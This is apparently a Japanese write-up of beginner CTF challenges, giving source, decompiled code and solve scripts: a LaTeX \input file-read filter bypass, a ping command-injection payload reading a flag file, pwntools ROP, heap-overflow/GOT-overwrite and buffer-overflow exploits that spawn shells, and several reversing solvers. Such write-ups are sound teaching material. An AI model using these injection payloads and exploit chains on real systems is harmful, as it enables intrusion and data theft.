app.pyimport io import os import random import shutil import string import subprocess from flask import Flask, request, send_file, render_template app = Flask(__name__) app.config["MAX_CONTENT_LENGTH"] = 1 * 1024 * 1024 @app.route("/") def top(): return render_template("index.html") def tex2pdf(tex_code) -> str: # Generate random file name. filename = "".join([random.choice(string.digits + string.ascii_lowercase + string.ascii_uppercase) for i in range(2**5)]) # Create a working directory. os.makedirs(f"tex_box/{filename}", exist_ok=True) # .tex -> .pdf try: # No flag !!!! if "flag" in tex_code.lower(): tex_code = "" # Write tex code to file. with open(f"tex_box/{filename}/{filename}.tex", mode="w") as f: f.write(tex_code) # Create pdf from tex. subprocess.run(["pdflatex", "-output-directory", f"tex_box/{filename}", f"tex_box/{filename}/{filename}.tex"], timeout=0.5) except: pass if not os.path.isfile(f"tex_box/{filename}/{filename}.pdf"): # OMG error ;( shutil.copy("tex_box/error.pdf", f"tex_box/{filename}/{filename}.pdf") return f"{filename}" @app.route("/pdf", methods=["POST"]) def pdf(): # tex to pdf. filename = tex2pdf(request.form.get("tex_code")) # Here's your pdf. with open(f"tex_box/{filename}/{filename}.pdf", "rb") as f: pdf = io.BytesIO(f.read()) shutil.rmtree(f"tex_box/{filename}/") return send_file(pdf, mimetype="application/pdf") if __name__ == "__main__": app.run(debug=True, host="0.0.0.0", port=4444)
自分の入力が pdflatex で pdf に変換され、その pdf を読むことができます。
tex の記法で \input{PATH} とすると PATH のファイルを埋め込むことができるので、これを使うことを考えます。 しかし flag という文字列を直接書き込むと tex_code = "" となってしまいます。これは簡単に回避できて、 \input{fl""ag} などとすると "" の部分が勝手に消えてくれて flag を読み取ることができます。 …と思いきや、なぜか error pdf が表示されてしまいます。手元で実験してみると、 tex の文中に使えない文字 (わからないけど多分 { とか?) が入っているとコンパイルが通らないっぽいです。これを回避するため $\input{fl""ag}$ として数式モード中にフラグを埋め込むことで表示に成功しました。 数式中なので { が消えてしまったり ..._x が下添字になってしまったり、いくつか問題はありますが、フラグを復元するのには十分です。
ctf4b{15_73x_pr0n0unc3d_ch0u?}
Util
460 solves
main.gopackage main import ( "os/exec" "github.com/gin-gonic/gin" ) type IP struct { Address string `json:"address"` } func main() { r := gin.Default() r.LoadHTMLGlob("pages/*") r.GET("/", func(c *gin.Context) { c.HTML(200, "index.html", nil) }) r.POST("/util/ping", func(c *gin.Context) { var param IP if err := c.Bind(¶m); err != nil { c.JSON(400, gin.H{"message": "Invalid parameter"}) return } commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2" result, _ := exec.Command("sh", "-c", commnd).CombinedOutput() c.JSON(200, gin.H{ "result": string(result), }) }) if err := r.Run(); err != nil { panic(err) } }
ping -c 1 -W 1 PAYLOAD 1>&2 という形で command injection が可能になっています。例えば PAYLOAD=;ls / とすると ls / が実行されます。 ただし、フォーム上からやると client 側で javascript による validation に引っかかってしまうので、直接 POST します (burpsuite を使いました)。 {"address":";ls /;"} でファイル名を特定したあと、 {"address":";cat /flag_A74FIBkN9sELAjOc.txt;"} でフラグを表示できました。
ctf4b{al1_0vers_4re_i1l}
pwnable
snowdrop
44 solves
src.c#include <stdio.h> #include <stdlib.h> #include <unistd.h> #define BUFF_SIZE 0x10 void show_stack(void *); int main() { char buf[BUFF_SIZE] = {0}; show_stack(buf); puts("You can earn points by submitting the contents of flag.txt"); puts("Did you understand?") ; gets(buf); puts("bye!"); show_stack(buf); } void show_stack(void *ptr) { puts("stack dump..."); printf("\n%-8s|%-20s\n", "[Index]", "[Value]"); puts("========+==================="); for (int i = 0; i < 8; i++) { unsigned long *p = &((unsigned long*)ptr)[i]; printf(" %06d | 0x%016lx ", i, *p); if (p == ptr) printf(" <- buf"); if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE)) printf(" <- saved rbp"); if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE + 0x8)) printf(" <- saved ret addr"); puts(""); } puts("finish"); } __attribute__((constructor)) void init() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(60); }
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
gets が使われているので ROP でやりたい放題です。 バイナリを軽くみてみると、静的リンクでコンパイルされています。そのためいつもの libc を使った様々な方法 (GOT から libc address leak -> one gadget など) はできません (必要最低限の関数しかリンクされていないため、多分)。 どんな関数がリンクされているか見てみると、 open, read, write があることがわかったため、これらを ROP でうまく読んであげることでフラグファイルを直接読み取ることができました。
solve.pyfrom pwn import * io = remote("snowdrop.quals.beginners.seccon.jp", 9002) elf = ELF("./chall") payload = b"A" * 0x18 payload += p64(0x0000000000401b84) # pop rdi ; ret payload += p64(0x0048e008 + len("You can earn points by submitting the contents of ")) payload += p64(0x000000000040a29e) # pop rsi ; ret payload += p64(0) payload += p64(elf.symbols["open"]) payload += p64(0x0000000000401b84) # pop rdi ; ret payload += p64(3) payload += p64(0x000000000040a29e) # pop rsi ; ret payload += p64(0x004bc2e0) payload += p64(0x00000000004017cf) # pop rdx ; ret payload += p64(0x20) payload += p64(elf.symbols["read"]) payload += p64(0x0000000000401b84) # pop rdi ; ret payload += p64(1) payload += p64(0x000000000040a29e) # pop rsi ; ret payload += p64(0x004bc2e0) payload += p64(0x00000000004017cf) # pop rdx ; ret payload += p64(0x20) payload += p64(elf.symbols["write"]) io.sendlineafter(b"understand?\n", payload) io.interactive()
ctf4b{h1ghw4y_t0_5h3ll}
simplelist
32 solves
src.c#define DEBUG 1 #include "list.h" int read_int() { char buf[0x10]; buf[read(0, buf, 0xf)] = 0; return atoi(buf); } void create() { Memo* e = malloc(sizeof(Memo)) ; #if DEBUG printf("[debug] new memo allocated at %p\n", e); #endif if (e == NULL) err(1, "%s\n", strerror(errno)); printf("Content: "); gets(e->content); e->next = NULL; list_add(e); } void edit() { printf("index: "); int index = read_int(); Memo *e = list_nth(index); if (e == NULL) { puts("Not found..."); return; } #if DEBUG printf("[debug] editing memo at %p\n", e); #endif printf("Old content: "); puts(e->content); printf("New content: "); gets(e->content); } void show() { Memo *e = memo_list; if (e == NULL) { puts("List empty"); return; } puts("\nList of current memos"); puts("-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-"); for (int i = 0; e != NULL; e = e->next) { #if DEBUG printf("[debug] memo_list[%d](%p)->content(%p) %s\n", i, e, e->content, e->content); printf("[debug] next(%p): %p\n", &e->next, e->next); #else printf("memo_list[%d] %s\n", i, e->content); #endif i++; } puts("-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-\n"); } void menu() { puts(""); puts("1. Create new memo"); puts("2. Edit existing memo"); puts("3. Show memo"); puts("4. Exit"); } int main() { puts("Welcome to memo organizer"); menu(); printf("> "); int cmd = read_int(); while (1) { switch (cmd) { case 1: create(); break; case 2: edit(); break; case 3: show(); break; case 4: puts("bye!"); exit(0); default: puts("Invalid command"); break; } menu(); printf("> "); cmd = read_int(); } } __attribute__((constructor)) void init() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(60); }
list.h#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <err.h> #define CONTENT_SIZE 0x20 typedef struct memo { struct memo *next; char content[CONTENT_SIZE]; } Memo; Memo *memo_list = NULL; static inline void list_add(Memo *e) { if (memo_list == NULL) { memo_list = e; #if DEBUG printf("first entry created at %p\n", memo_list); #endif } else { Memo *tail = memo_list; while (tail->next != NULL) tail = tail->next; #if DEBUG printf("adding entry to %p->next\n", tail); #endif tail->next = e; } } static inline Memo *list_nth(int index) { if (memo_list == NULL) return NULL; Memo *cur = memo_list; int i; for (i = 0; i != index && cur->next != NULL; ++i, cur = cur->next); if (i != index) return NULL; else return cur; }
Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
gets が使われているので heap overflow が狙えます。 bins のサイズを変えないように下位の Memo->next を書き換えることで、その書き換えた値のアドレスにある値がわかります。これで GOT 領域を見ることで libc の base address が求まります。 さらに GOT overwrite で puts 関数の代わりに one gadget へ飛ぶようにすることでフラグを得ました。edit の次に puts 関数が呼ばれるときに r15 = 0, rdx = 0 だったので、その条件下の one gadget を使っています。
solve.pyfrom pwn import * REMOTE = True elf = ELF("./chall") if REMOTE: io = remote("simplelist.quals.beginners.seccon.jp", 9003) libc = ELF("./libc-2.33.so") one_gadget = 0xde78f # r15 = 0, rdx = 0 else: io = remote("localhost", 1337) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") one_gadget = 0xe6c81 def create(content: bytes): io.sendlineafter(b"> ", b"1") io.recvuntil(b"[debug] new memo allocated at ") addr_memo = int(io.recvline(), 16) io.sendlineafter(b"Content: ", content) return addr_memo def edit(idx: int, content: bytes): io.sendlineafter(b"> ", b"2") io.sendafter(b"index: ", str(idx).encode()) io.recvuntil(b"[debug] editing memo at ") addr_memo = int(io.recvline(), 16) io.recvuntil(b"Old content: ") old_content = io.recvline().strip() if content is None: content = old_content io.sendlineafter(b"New content: ", content) return addr_memo, old_content addr0 = create(b"A") addr1 = create(b"B") edit(0, b"A" * 0x20 + p64(0x31) + p64(elf.got["puts"] - 8)) _, addr_got_puts = edit(2, content=None) addr_got_puts = u64(addr_got_puts.ljust(8, b"\x00")) print(f"{addr_got_puts = :#x}") libc.address = addr_got_puts - libc.symbols["puts"] print(f"{libc.address = :#x}") edit(2, content=p64(libc.address + one_gadget)) io.interactive()
ctf4b{W3lc0m3_t0_th3_jungl3}
raindrop
52 solves
src.c#include <stdio.h> #include <stdlib.h> #include <unistd.h> #define BUFF_SIZE 0x10 void help() { system("cat welcome.txt"); } void show_stack(void *); void vuln(); int main() { vuln(); } void vuln() { char buf[BUFF_SIZE] = {0}; show_stack(buf); puts("You can earn points by submitting the contents of flag.txt"); puts("Did you understand?") ; read(0, buf, 0x30); puts("bye!"); show_stack(buf); } void show_stack(void *ptr) { puts("stack dump..."); printf("\n%-8s|%-20s\n", "[Index]", "[Value]"); puts("========+==================="); for (int i = 0; i < 5; i++) { unsigned long *p = &((unsigned long*)ptr)[i]; printf(" %06d | 0x%016lx ", i, *p); if (p == ptr) printf(" <- buf"); if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE)) printf(" <- saved rbp"); if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE + 0x8)) printf(" <- saved ret addr"); puts(""); } puts("finish"); } __attribute__((constructor)) void init() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); help(); alarm(60); }
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
buffer size が 0x10 なのに対し、 read を 0x30 bytes しているため stack overflow が狙えます。 return address 以降の 0x18 bytes を書き換えることができます。 親切にも rsp 近くの stack 領域を表示してくれるため、 saved rbp から rsp が求まります。 rsp に /bin/sh を書き込んでおき、 rsp を rdi に代入し、 system を呼べばフラグが手に入ります。
solve.pyfrom pwn import * io = remote("raindrop.quals.beginners.seccon.jp", 9001) elf = ELF("./chall") io.recvuntil(b" 000002 | ") addr_saved_rbp = int(io.recv(18), 16) addr_rsp = addr_saved_rbp - 0x20 print(f"{addr_rsp = :#x}") payload = b"/bin/sh" payload = payload.ljust(0x18, b"\x00") payload += p64(0x0000000000401453) # pop rdi ; ret payload += p64(addr_rsp) payload += p64(0x4011e5) io.sendafter(b"understand?\n", payload) io.interactive()
ctf4b{th053_d4y5_4r3_g0n3_f0r3v3r}
BeginnersBof
155 solves
src.c#include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <err.h> #define BUFSIZE 0x10 void win() { char buf[0x100]; int fd = open("flag.txt", O_RDONLY); if (fd == -1) err(1, "Flag file not found...\n"); write(1, buf, read(fd, buf, sizeof(buf))); close(fd); } int main() { int len = 0; char buf[BUFSIZE] = {0}; puts("How long is your name?"); scanf("%d", &len); char c = getc(stdin); if (c != '\n') ungetc(c, stdin); puts("What's your name?"); fgets(buf, len, stdin); printf("Hello %s", buf); } __attribute__((constructor)) void init() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(60); }
Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
len を大きい値に設定することで stack overflow が狙えます。 return address の場所を確認するのが面倒だったので win 関数のアドレスを何度も書いて雑対応しました…
solve.pyfrom pwn import * elf = ELF("./chall") io = remote("beginnersbof.quals.beginners.seccon.jp", 9000) io.sendlineafter(b"name?\n", b"64") io.sendafter(b"name?\n", p64(elf.symbols["win"]) * 8) io.interactive()
ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}
reversing
please_not_debug_me
48 solves
ghidra で main 関数を decompile してみます。
undefined8 main(undefined8 param_1,char **param_2) { int iVar1; long lVar2; long in_FS_OFFSET; uint local_20; char *local_18; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); lVar2 = syscall(0x13f,&DAT_00102004,0); iVar1 = (int)lVar2; if (iVar1 == -1) { err(1,"Can\'t unpack"); } for (local_20 = 0; local_20 < binary_len; local_20 = local_20 + 1) { binary[local_20] = binary[local_20] ^ 0x16; } write(iVar1,binary,(ulong)binary_len); local_18 = (char *)0x0; iVar1 = fexecve(iVar1,param_2,&local_18); if (iVar1 == -1) { err(1,"Can\'t execute"); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
binary 変数の各バイトに対して 0x16 で xor を取り、それでできたバイト列を fexecve で実行しているみたいです。 xor を実際に取ってみると ELF ファイルができました。
入力が正しいかを確認する処理は check 関数で行われています。以下 decompile 結果です。
void check(char *param_1,undefined8 param_2,undefined8 param_3,uchar *param_4) { long in_FS_OFFSET; int local_a8; uint local_a4; FILE *local_a0; undefined8 local_98; undefined8 local_90; undefined8 local_88; undefined8 local_80; undefined8 local_78; undefined8 local_70; undefined8 local_68; undefined4 local_60; undefined2 local_5c; undefined local_5a; undefined8 local_58; undefined8 local_50; undefined8 local_48; undefined8 local_40; undefined8 local_38; undefined8 local_30; undefined8 local_28; undefined4 local_20; undefined2 local_1c; undefined local_1a; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_a8 = 0; local_98 = 0; local_90 = 0; local_88 = 0; local_80 = 0; local_78 = 0; local_70 = 0; local_68 = 0; local_60 = 0; local_5c = 0; local_5a = 0; local_58 = 0; local_50 = 0; local_48 = 0; local_40 = 0; local_38 = 0; local_30 = 0; local_28 = 0; local_20 = 0; local_1c = 0; local_1a = 0; local_a0 = (FILE *)0x0; do { switch(local_a8) { case 0: if ((_DAT_00105090 & 0xff) == 0xcc) { fwrite("Why are you trying to debug when there are no bugs?\n",1,0x34,stderr); /* WARNING: Subroutine does not return */ exit(1); } local_a0 = fopen(param_1,"r"); break; case 1: if (local_a0 == (FILE *)0x0) { err(1,"fopen(\"%s\", \"r\")",param_1); } break; case 2: if ((___cxa_finalize & 0xff) == 0xcc) { fwrite("Why are you trying to debug when there are no bugs?\n",1,0x34,stderr); /* WARNING: Subroutine does not return */ exit(1); } fgets((char *)&local_98,0x3f,local_a0); break; case 3: for (local_a4 = 0; (int)local_a4 < 0x28; local_a4 = local_a4 + 1) { param_4 = (uchar *)(ulong)((byte)KEY[(int)local_a4] ^ local_a4); KEY[(int)local_a4] = (char)((byte)KEY[(int)local_a4] ^ local_a4); } break; case 4: RC4((RC4_KEY *)KEY,(size_t)&local_98,(uchar *)&local_58,param_4); break; case 5: if ((___gmon_start__ & 0xff) == 0xcc) { fwrite("Why are you trying to debug when there are no bugs?\n",1,0x34,stderr); /* WARNING: Subroutine does not return */ exit(1); } memcmp(ENC,&local_58,0x3f); if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) { return; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); } local_a8 = local_a8 + 1; } while( true ); }
KEY を xor で更新したあと、その KEY を使って RC4 で暗号化した結果が ENC と一致するかをチェックしています。 RC4 は可逆で復号可能なので ENC を復号することで元のフラグを復元できます。
solve.pyfrom Crypto.Cipher import ARC4 KEY = list(b'\x62\x31\x34\x62\x65\x37\x60\x32\x69\x3c\x68\x6f\x6a\x3b\x6d\x6e\x71\x26\x23\x2b\x23\x2d\x21\x24\x2c\x2f\x2f\x78\x79\x24\x29\x2f\x44\x11\x16\x45\x10\x10\x1f\x43') ENC = list(b'\x27\xd9\x65\x3a\x0f\x25\xe4\x0e\x81\x8a\x59\xbc\x33\xfb\xf9\xfc\x05\xc6\x33\x01\xe2\xb0\xbe\x8e\x4a\x9c\xa9\x46\x73\xb8\x48\x7d\x7f\x73\x22\xec\xdb\xdc\x98\xd9\x90\x61\x80\x7c\x6c\xb3\x36\x42\x3f\x90\x44\x85\x0d\x95\xb1\xee\xfa\x94\x85\x0c\xb9\x9f\x00') for i in range(0x28): KEY[i] = KEY[i] ^ i cipher = ARC4.new(key=bytes(KEY))
ctf4b{D0_y0u_kn0w_0f_0th3r_w4y5_t0_d3t3ct_d36u991n9_1n_L1nux?}
Ransom
61 solves
pcap ファイルを wireshark で見てみると、 rgUAvvyfyApNPEYg というバイト列を使ってフラグが暗号化されていることがわかります。以下、このバイト列を key と呼びます。
ghidra でバイナリを開くと比較的わかりやすい decompile 結果となります。最後の暗号化は xor で行われているため、 python で再実装し、最後の xor 部分だけ flag と enc を入れ替えることでフラグを復元できました。
solve.pykey = b"rgUAvvyfyApNPEYg" buf = [i for i in range(256)] local_18 = 0 for i in range(256): ivar3 = buf[i] + local_18 + key[i % 16] uvar1 = (ivar3 >> 0x1f) >> 0x18 # これは何…? local_18 = (ivar3 + uvar1 & 0xff) - uvar1 buf[i], buf[local_18] = buf[local_18], buf[i] enc = b"\x2b\xa9\xf3\x6f\xa2\x2e\xcd\xf3\x78\xcc\xb7\xa0\xde\x6d\xb1\xd4\x24\x3c\x8a\x89\xa3\xce\xab\x30\x7f\xc2\xb9\x0c\xb9\xf4\xe7\xda\x25\xcd\xfc\x4e\xc7\x9e\x7e\x43\x2b\x3b\xdc\x09\x80\x96\x95\xf6\x76\x10" local_24 = 0 local_20 = 0 xor_key = [] flag = [None] * len(enc) for i in range(len(enc)): local_24 += 1 local_20 = (buf[local_24] + local_20) & 0xff buf[local_24], buf[local_20] = buf[local_20], buf[local_24] flag[i] = enc[i] ^ buf[(buf[local_20] + buf[local_24] & 0xff)]
ctf4b{rans0mw4re_1s_v4ry_dan9er0u3_s0_b4_c4refu1}
Recursive
127 solves
check 関数の ghidra での decompile 結果は以下の通りです。
undefined8 check(char *param_1,int param_2) { int iVar1; int iVar2; int iVar3; size_t sVar4; char *pcVar5; sVar4 = strlen(param_1); iVar3 = (int)sVar4; if (iVar3 == 1) { if (table[param_2] != *param_1) { return 1; } } else { iVar1 = iVar3 / 2; pcVar5 = (char *)malloc((long)iVar1); strncpy(pcVar5,param_1,(long)iVar1); iVar2 = check(pcVar5,param_2); if (iVar2 == 1) { return 1; } pcVar5 = (char *)malloc((long)(iVar3 - iVar1)); strncpy(pcVar5,param_1 + iVar1,(long)(iVar3 - iVar1)); iVar3 = check(pcVar5,iVar1 * iVar1 + param_2); if (iVar3 == 1) { return 1; } } return 0; }
これを python で再実装すると、フラグの e 番目の文字列が何になるべきかを特定できます。
solve.pytable = list(b'\x63\x74\x60\x2a\x66\x34\x28\x2b\x62\x63\x39\x35\x22\x2e\x38\x31\x62\x7b\x68\x6d\x72\x33\x63\x2f\x7d\x72\x40\x3a\x7b\x26\x3b\x35\x31\x34\x6f\x64\x2a\x3c\x68\x2c\x6e\x27\x64\x6d\x78\x77\x3f\x6c\x65\x67\x28\x79\x6f\x29\x6e\x65\x2b\x6a\x2d\x7b\x28\x60\x71\x2f\x72\x72\x33\x7c\x28\x24\x30\x2b\x35\x73\x2e\x7a\x7b\x5f\x6e\x63\x61\x75\x72\x24\x7b\x73\x31\x76\x35\x25\x21\x70\x29\x68\x21\x71\x27\x74\x3c\x3d\x6c\x40\x5f\x38\x68\x39\x33\x5f\x77\x6f\x63\x34\x6c\x64\x25\x3e\x3f\x63\x62\x61\x3c\x64\x61\x67\x78\x7c\x6c\x3c\x62\x2f\x79\x2c\x79\x60\x6b\x2d\x37\x7b\x3d\x3b\x7b\x26\x38\x2c\x38\x75\x35\x24\x6b\x6b\x63\x7d\x40\x37\x71\x40\x3c\x74\x6d\x30\x33\x3a\x26\x2c\x66\x31\x76\x79\x62\x27\x38\x25\x64\x79\x6c\x32\x28\x67\x3f\x37\x31\x37\x71\x23\x75\x3e\x66\x77\x28\x29\x76\x6f\x6f\x24\x36\x67\x29\x3a\x29\x5f\x63\x5f\x2b\x38\x76\x2e\x67\x62\x6d\x28\x25\x24\x77\x28\x3c\x68\x3a\x31\x21\x63\x27\x72\x75\x76\x7d\x40\x33\x60\x79\x61\x21\x72\x35\x26\x3b\x35\x7a\x5f\x6f\x67\x6d\x30\x61\x39\x63\x32\x33\x73\x6d\x77\x2d\x2e\x69\x23\x7c\x77\x7b\x38\x6b\x65\x70\x66\x76\x77\x3a\x33\x7c\x33\x66\x35\x3c\x65\x40\x3a\x7d\x2a\x2c\x71\x3e\x73\x67\x21\x62\x64\x6b\x72\x30\x78\x37\x40\x3e\x68\x2f\x35\x2a\x68\x69\x3c\x37\x34\x39\x27\x7c\x7b\x29\x73\x6a\x31\x3b\x30\x2c\x24\x69\x67\x26\x76\x29\x3d\x74\x30\x66\x6e\x6b\x7c\x30\x33\x6a\x22\x7d\x37\x72\x7b\x7d\x74\x69\x7d\x3f\x5f\x3c\x73\x77\x78\x6a\x75\x31\x6b\x21\x6c\x26\x64\x62\x21\x6a\x3a\x7d\x21\x7a\x7d\x36\x2a\x60\x31\x5f\x7b\x66\x31\x73\x40\x33\x64\x2c\x76\x69\x6f\x34\x35\x3c\x5f\x34\x76\x63\x5f\x76\x33\x3e\x68\x75\x33\x3e\x2b\x62\x79\x76\x71\x23\x23\x40\x66\x2b\x29\x6c\x63\x39\x31\x77\x2b\x39\x69\x37\x23\x76\x3c\x72\x3b\x72\x72\x24\x75\x40\x28\x61\x74\x3e\x76\x6e\x3a\x37\x62\x60\x6a\x73\x6d\x67\x36\x6d\x79\x7b\x2b\x39\x6d\x5f\x2d\x72\x79\x70\x70\x5f\x75\x35\x6e\x2a\x36\x2e\x7d\x66\x38\x70\x70\x67\x3c\x6d\x2d\x26\x71\x71\x35\x6b\x33\x66\x3f\x3d\x75\x31\x7d\x6d\x5f\x3f\x6e\x39\x3c\x7c\x65\x74\x2a\x2d\x2f\x25\x66\x67\x68\x2e\x31\x6d\x28\x40\x5f\x33\x76\x66\x34\x69\x28\x6e\x29\x73\x32\x6a\x76\x67\x30\x6d\x34') ans = [None] * 0x26 def dfs(s, e): if len(s) == 1: print(e, s[0]) ans[s[0]] = table[e] return True l = len(s) // 2 if not dfs(s[:l], e): return False if not dfs(s[l:], l*l + e): return False return True dfs(bytes([i for i in range(0x26)]), 0)
ctf4b{r3curs1v3_c4l1_1s_4_v3ry_u53fu1}
WinTLS
102 solves
実行してみると、文字列の入力に対し、 Wrong flag... と表示されます。 Wrong flag という文字列で検索をかけ、それの XREF を見てみると、以下の場所が見つかりました。
LRESULT UndefinedFunction_004018f9(HWND param_1,uint param_2,WPARAM param_3,longlong param_4) { LRESULT LVar1; tagPAINTSTRUCT atStack312 [3]; DWORD DStack44; DWORD DStack40; DWORD DStack36; HDC pHStack32; HANDLE pvStack24; HANDLE pvStack16; if (param_2 == 0x111) { if ((short)param_3 != 0x1337) { return 0; } GetWindowTextA(hFlag,(LPSTR)atStack312,0x100); pvStack16 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,(LPTHREAD_START_ROUTINE)&t1,atStack312,0, &DStack36); pvStack24 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,(LPTHREAD_START_ROUTINE)&t2,atStack312,0, &DStack36); WaitForSingleObject(pvStack16,0xffffffff); WaitForSingleObject(pvStack24,0xffffffff); GetExitCodeThread(pvStack16,&DStack40); GetExitCodeThread(pvStack24,&DStack44); CloseHandle(pvStack16); CloseHandle(pvStack24); if ((DStack40 == 0) && (DStack44 == 0)) { MessageBoxA((HWND)0x0,"Correct flag!","DOPE",0x40); } else { MessageBoxA((HWND)0x0,"Wrong flag...","NOPE",0x10); } return 0; } if (param_2 < 0x112) { if (param_2 == 0xf) { pHStack32 = BeginPaint(param_1,atStack312); TextOutA(pHStack32,8,8,"Give me ticket:",0xf); EndPaint(param_1,atStack312); return 0; } if (param_2 < 0x10) { if (param_2 == 1) { TLS = TlsAlloc(); hFlag = CreateWindowExA(0,"EDIT","",0x50800080,0x10,0x26,200,0x1e,param_1,(HMENU)0xdead, *(HINSTANCE *)(param_4 + 8),(LPVOID)0x0); CreateWindowExA(0,"BUTTON","check",0x50000000,0xe4,0x26,0x40,0x1e,param_1,(HMENU)0x1337, *(HINSTANCE *)(param_4 + 8),(LPVOID)0x0); return 0; } if (param_2 == 2) { TlsFree(TLS); PostQuitMessage(0); return 0; } } } LVar1 = DefWindowProcA(param_1,param_2,param_3,param_4); return LVar1; }
挙動を深くは理解できなかった (exe わかりません…) のですが、 t1 や t2 を見てみると以下のような処理が書いてありました。
t1iStack12 = 0; TlsSetValue(TLS,"c4{fAPu8#FHh2+0cyo8$SWJH3a8X"); for (uStack16 = 0; (uStack16 < 0x100 && (cStack17 = *(char *)(param_1 + (int)uStack16), cStack17 != '\0')); uStack16 = uStack16 + 1) { if (((int)uStack16 % 3 == 0) || ((int)uStack16 % 5 == 0)) { lVar1 = (longlong)iStack12; iStack12 = iStack12 + 1; *(char *)((longlong)&uStack280 + lVar1) = cStack17; } } *(undefined *)((longlong)&uStack280 + (longlong)iStack12) = 0; check(&uStack280); return;
t2iStack12 = 0; TlsSetValue(TLS,"tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}"); for (uStack16 = 0; (uStack16 < 0x100 && (cStack17 = *(char *)(param_1 + (int)uStack16), cStack17 != '\0')); uStack16 = uStack16 + 1) { if (((int)uStack16 % 3 != 0) && ((int)uStack16 % 5 != 0)) { lVar1 = (longlong)iStack12; iStack12 = iStack12 + 1; acStack280[lVar1] = cStack17; } } acStack280[iStack12] = '\0'; check(acStack280); return;
fizzbuzz のように、3の倍数、5の倍数では t1 が、それ以外では t2 が呼ばれるような挙動になっています。これをもとにフラグを復元できました。
solve.pys0 = "c4{fAPu8#FHh2+0cyo8$SWJH3a8X" s1 = "tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}" idx0 = 0 idx1 = 0 ans = "" for i in range(len(s0) + len(s1)): if i % 3 == 0 or i % 5 == 0: ans += s0[idx0] idx0 += 1 else: ans += s1[idx1] idx1 += 1
ctf4b{f%sAP$uT98Nv#FFHyrh2o+Lh0@8c9yoa98$ySoCW3rJPH3y&a83Xb}
Quiz
650 solves
Welcome, it's time for the binary quiz! ようこそ、バイナリクイズの時間です! Q1. What is the executable file's format used in Linux called? Linuxで使われる実行ファイルのフォーマットはなんと呼ばれますか? 1) ELM 2) ELF 3) ELR Answer : 2 Correct! Q2. What is system call number 59 on 64-bit Linux? 64bit Linuxにおけるシステムコール番号59はなんでしょうか? 1) execve 2) folk 3) open Answer : 1 Correct! Q3. Which command is used to extract the readable strings contained in the file? ファイルに含まれる可読文字列を抽出するコマンドはどれでしょうか? 1) file 2) strings 3) readelf Answer : 2 Correct! Q4. What is flag? フラグはなんでしょうか? Answer : kusogayo flag length must be 46.
最初から strings quiz | grep ctf でよかった…
ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}
misc
hitchhike4b
125 solves
import os os.environ["PAGER"] = "cat" # No hitchhike(SECCON 2021) if __name__ == "__main__": flag1 = "********************FLAG_PART_1********************" help() # I need somebody ... if __name__ != "__main__": flag2 = "********************FLAG_PART_2********************" help() # Not just anybody ...
python の pager は通常 less で開かれるのですが、今回の問題では cat が使われるようにしています。 less なら !/bin/ls などでコマンドを使えるのですが、今回は使えません。
__xxx__ というタイプの入力でなにかおもしろい結果にならないかなと思って探していると、 __main__ でファイルを読み取ることができました。なるほど。
help> __main__ Help on module __main__: NAME __main__ DATA __annotations__ = {} flag1 = 'ctf4b{53cc0n_15_1n_m' FILE /home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py
これでフラグの前半部分がわかりました。後半部分はどうしましょう。 ファイル名が app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py であることがわかったので、これを読み出す方法はないのかなと思い、 app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc と試しに入力してみたら表示できました。なるほど module 扱いになるのか。
help> app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc Help on module app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc: NAME app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc DATA flag2 = 'y_34r5_4nd_1n_my_3y35}' FILE /home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py
ctf4b{53cc0n_15_1n_my_34r5_4nd_1n_my_3y35}
頭をあまり使わずに解いてしまった…
H2
248 solves
main.gopackage main import ( "net/http" "log" "fmt" "golang.org/x/net/http2" "golang.org/x/net/http2/h2c" ) const SECRET_PATH = "<secret>" func main() { handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { if r.URL.Path == SECRET_PATH { w.Header().Set("x-flag", "<secret>") } w.WriteHeader(200) fmt.Fprintf(w, "Can you find the flag?\n") }) h2s := &http2.Server{} h1s := &http.Server{ Addr: ":8080", Handler: h2c.NewHandler(handler, h2s), } log.Fatal(h1s.ListenAndServe()) }
